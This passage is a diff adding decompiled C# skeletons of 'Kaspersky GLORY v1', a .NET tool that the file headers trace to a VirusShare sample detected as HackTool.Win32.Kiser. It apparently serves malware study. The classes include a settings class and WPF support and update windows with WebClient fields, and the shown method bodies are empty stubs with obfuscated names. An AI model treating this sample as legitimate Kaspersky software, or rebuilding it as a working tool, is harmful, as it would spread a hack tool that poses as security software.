[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void upUyIAQ38N7EcSK5LOq()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object ORGOq3Q8tyh8o7eldiP([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool V9wGZbQFY4A3oRD3Me8() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool Ii8xcdQ0icwkNjVg1mQ() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void yf9BX4QMLrXTAGRX5js([In] object obj0)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+333
@@ -0,0 +1,333 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.Support
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
[DesignerGenerated]
|
||||
public class Support : Window, IComponentConnector
|
||||
{
|
||||
[AccessedThroughProperty("t1")]
|
||||
private Label FleVY7hrK;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button \u0039tjPjswKO;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button \u0038wGy8Btdv;
|
||||
[AccessedThroughProperty("Image1")]
|
||||
private Image HKGk3cGu3;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label \u0034y971Mpj6;
|
||||
[AccessedThroughProperty("GroupBox1")]
|
||||
private GroupBox uiDSJP5K6;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox \u0037wUA3K5FS;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label StWuGHvv3;
|
||||
[AccessedThroughProperty("GroupBox2")]
|
||||
private GroupBox iepZybAkM;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private Label TJfGoS1Nc;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private Label JGRWDvPW7;
|
||||
[AccessedThroughProperty("Label6")]
|
||||
private Label \u0032dt8e7deR;
|
||||
[AccessedThroughProperty("Label7")]
|
||||
private Label H10jte8fr;
|
||||
[AccessedThroughProperty("Label5")]
|
||||
private Label SsvY5ygtY;
|
||||
private bool \u0038xXCMRTUE;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Support()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual Label t1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Image Image1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Image) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual GroupBox GroupBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (GroupBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual GroupBox GroupBox2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (GroupBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label6
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label7
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label5
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZkgHX9QDgU5ksbtqBIt()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void MWsMwHQZ4jNPnKF4VBC([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void BMjUs3Q2QWrBhGKwVt8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void YnH0YFQ4oOn7XVSj2w7([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void WW34gJQNn10gUvMoLly([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool jCtahoQXCj7S77oMdhd() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool NPV9qGQYWSL8Ry6ew7a() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void LJEJcQQvpWvUN4t4Zuo([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void nikk5XQ5M5Mcncr1gEq([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void O9bBhnQqV1Yuq24MW7a([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void DECi5eQGu7EGa639E3F([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rxSuP7Quv2FDXINmiao([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035X1OfMQIVKrxAxDmpBQ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Kj450cQoLjru4N1fb8H([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void DlZe6aQzhC8K9XgsBss([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void H586RjWxP9xZbUbeAr3([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0039Fp8vBWs6PkO5qG2oYk([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void IYbWjnWfGn47AogdEEO([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void M0j5VJWOHuL65CQf9u0([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void l3fLCtWQ40lcBygIckK([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void HRFnNXWWodELwMPamd6([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u00343ol9xWlrToK87XQgnG([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CA4ckrWy39x7HT9e2Jb([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037PoqQ4Wp9bHTWm7om5S([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u00355J1TrWBKCejg6vgnof([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rFxtZAWn6XIMO9S5SgZ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static Support() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+564
@@ -0,0 +1,564 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.UpdateC
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
[DesignerGenerated]
|
||||
public class UpdateC : Window, IComponentConnector
|
||||
{
|
||||
private WebClient uiDSJP5K6;
|
||||
private WebClient \u0037wUA3K5FS;
|
||||
[AccessedThroughProperty("Timer1")]
|
||||
private System.Windows.Forms.Timer StWuGHvv3;
|
||||
[AccessedThroughProperty("GroupBox1")]
|
||||
private System.Windows.Controls.GroupBox iepZybAkM;
|
||||
[AccessedThroughProperty("btn_upc")]
|
||||
private System.Windows.Controls.Button TJfGoS1Nc;
|
||||
[AccessedThroughProperty("btn_upd")]
|
||||
private System.Windows.Controls.Button JGRWDvPW7;
|
||||
[AccessedThroughProperty("ProgressBar2")]
|
||||
private System.Windows.Controls.ProgressBar \u0032dt8e7deR;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private System.Windows.Controls.Label H10jte8fr;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private System.Windows.Controls.Label SsvY5ygtY;
|
||||
[AccessedThroughProperty("Label5")]
|
||||
private System.Windows.Controls.Label \u0038xXCMRTUE;
|
||||
[AccessedThroughProperty("Label6")]
|
||||
private System.Windows.Controls.Label Mnd0ODixC;
|
||||
[AccessedThroughProperty("t1")]
|
||||
private System.Windows.Controls.Label a6BHg7aZl;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private System.Windows.Controls.Button \u00305iRvC3Dw;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private System.Windows.Controls.Label RVCQ5y8jV;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private System.Windows.Controls.ProgressBar iAVvjewXZ;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private System.Windows.Controls.Button \u0032I7wPSnFY;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private System.Windows.Controls.Label lMbr5OMgD;
|
||||
private bool R5c2hJ3KY;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public UpdateC()
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Forms.Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void FleVY7hrK([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0039tjPjswKO([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038wGy8Btdv([In] object obj0, [In] DownloadProgressChangedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void HKGk3cGu3([In] object obj0, [In] AsyncCompletedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0034y971Mpj6([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.GroupBox GroupBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button btn_upc
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button btn_upd
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ProgressBar ProgressBar2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label5
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label6
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label t1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ProgressBar ProgressBar1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0033K6x6FWdHbT1Q2HtYLh()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void kXnT48WjX2lix16Yma5([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void q9CFtTWH1tZPPXptZ4l([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void M9cFkMWkQgRTTvOam87([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OnehxEWT4glqTy8DkQw([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0033jfjkBWhP5e2YrjxdNx([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool kPBqqWWARkfBXpn0IAC() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool QrjhI2Wm6oIQx6F4rgb() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void cKnP1tWEo5QHly7jMP3([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035fFi8dW1LWjeI6EuGOk([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool ZDHPqwW9JOEyfoph7eo() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MsgBoxResult UDofheWw8NZLmXgE6ZS(
|
||||
[In] object obj0,
|
||||
[In] MsgBoxStyle obj1,
|
||||
[In] object obj2)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void sSEFa6WChjAQLVmlaoP([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object VHTSTlW6SqduQjjE0Ce([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void C6if2YWefynEQjnxZb6([In] object obj0, [In] Visibility obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object KiUg2SWVXVZKXZC4XfT([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object vVV6JlWtLZDUHnFY0ND([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0030EuRxCWU8b5hwaELuhc([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object qWmKNnWbgyPA8xpysij() => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u00344H6pPWPaPKt6vytahU([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object O3sKmSWr0J9SMvcAl8D([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object DhIFpYWcgeWnNXgXe4i([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object iuEHu0WSN3PKVxt6EtE([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void leaqsEWLt9y7KgAyEYl([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object YtgB99WgbMYKVCrg5p7([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Nd1GLuWKPhEpJ63RPuP([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void HNx8JSWRn4tn4aTs5cV([In] object obj0, [In] int obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Lb2WWRWa8LuKufYTH08([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wB499UWFf9qTD0Vmiwx([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void bogxYMW08URKrfeBm85([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wIlAE8W33ESnXEtjnco([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object xbVIgtW8f6uLibPbiFl([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0039s14hvWMNihJ6P2jbVs([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void lCs088WJf3c6Sx1IefV([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rYSbJIWior7b3kVWAu3()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double Db3le0W716mySyhQq5W([In] object obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0036NZlktWXM2tWOBa8Um3([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object wo4mpFWY9SJVxw5xSc6([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
